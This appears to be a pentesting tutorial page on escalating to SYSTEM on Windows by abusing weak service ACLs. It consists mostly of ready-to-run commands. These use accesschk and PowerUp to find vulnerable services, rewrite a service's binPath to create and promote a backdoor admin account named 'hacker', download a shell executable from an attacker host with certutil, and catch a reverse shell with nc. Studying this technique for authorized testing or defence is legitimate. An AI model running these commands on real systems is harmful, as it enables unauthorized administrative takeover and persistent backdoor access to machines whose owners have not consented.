Skip to content
HackIndex logo

HackIndex

Weak Service Permissions Privilege Escalation

3 min read Mar 15, 2026

Windows services have their own access control lists separate from the binary they run. If your user has SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS on a service, you can change the binary path to anything — including a payload that runs as SYSTEM. This is distinct from service binary hijacking — you do not need to write to the binary's directory, only to modify the service configuration itself.

Prerequisites Check

C:\Users\Guest\Desktop> whoami /all
C:\Users\Guest\Desktop> whoami /groups

Step 1 — Find Services with Weak Permissions

Using accesschk:

C:\Users\Guest\Desktop> # Find services current user has write access to
C:\Users\Guest\Desktop> accesschk.exe -uwcqv %USERNAME% * /accepteula 2>nul
C:\Users\Guest\Desktop> accesschk.exe -uwcqv "Authenticated Users" * /accepteula 2>nul
C:\Users\Guest\Desktop> accesschk.exe -uwcqv "Everyone" * /accepteula 2>nul
C:\Users\Guest\Desktop> accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul

Look for services showing SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG, or WRITE_DAC.

Using PowerUp:

PS C:\Users\Guest\Desktop> Import-Module .\PowerUp.ps1
PS C:\Users\Guest\Desktop> Get-ServicePermission
PS C:\Users\Guest\Desktop> Invoke-ServiceAbuse -Name "VulnerableService"

Manual check for a specific service:

C:\Users\Guest\Desktop> accesschk.exe -ucqv VulnerableService /accepteula

Step 2 — Confirm the Service Runs as SYSTEM

C:\Users\Guest\Desktop> sc qc VulnerableService

Look for SERVICE_START_NAME : LocalSystem. If it runs as a lower-privileged account, this technique escalates only to that account level.

Step 3 — Modify the Binary Path

Change the service's binary path to your payload. The simplest payload adds an admin user:

C:\Users\Guest\Desktop> sc config VulnerableService binPath= "net user hacker Password123! /add"
C:\Users\Guest\Desktop> sc stop VulnerableService
C:\Users\Guest\Desktop> sc start VulnerableService

Note the space after binPath= — this is required syntax for sc config.

Check if the user was added:

C:\Users\Guest\Desktop> net user hacker

Now add to administrators:

C:\Users\Guest\Desktop> sc config VulnerableService binPath= "net localgroup administrators hacker /add"
C:\Users\Guest\Desktop> sc stop VulnerableService
C:\Users\Guest\Desktop> sc start VulnerableService

Step 4 — Get a Shell

For a reverse shell, first transfer the payload:

C:\Users\Guest\Desktop> certutil -urlcache -split -f http://$LHOST:8080/shell.exe C:\Windows\Temp\shell.exe

Change the binPath:

┌──(kali㉿kali)-[~]
└─$ sc config VulnerableService binPath= "C:\Windows\Temp\shell.exe"
┌──(kali㉿kali)-[~]
└─$ sc stop VulnerableService
┌──(kali㉿kali)-[~]
└─$ sc start VulnerableService

Start your listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Step 5 — Restore the Service

After escalating, restore the original binary path to avoid leaving a broken service:

┌──(kali㉿kali)-[~]
└─$ sc config VulnerableService binPath= "C:\Original\Path\service.exe"
┌──(kali㉿kali)-[~]
└─$ sc start VulnerableService

Understanding Service Permission Flags

Permission

Meaning

SERVICE_ALL_ACCESS

Full control — can do everything

SERVICE_CHANGE_CONFIG

Can modify configuration including binPath

SERVICE_START

Can start the service

SERVICE_STOP

Can stop the service

WRITE_DAC

Can change the service's ACL

WRITE_OWNER

Can take ownership

You need at minimum SERVICE_CHANGE_CONFIG and SERVICE_START/SERVICE_STOP (or wait for a reboot with AUTO start type).

Using PowerUp for One-Step Exploitation

PowerUp's Invoke-ServiceAbuse automates the entire process:

┌──(kali㉿kali)-[~]
└─$ Import-Module .\PowerUp.ps1
 
┌──(kali㉿kali)-[~]
└─$ # Add a local admin user automatically
┌──(kali㉿kali)-[~]
└─$ Invoke-ServiceAbuse -Name "VulnerableService" -UserName hacker -Password Password123!
 
┌──(kali㉿kali)-[~]
└─$ # Or run a custom command
┌──(kali㉿kali)-[~]
└─$ Invoke-ServiceAbuse -Name "VulnerableService" -Command "net localgroup administrators hacker /add"

References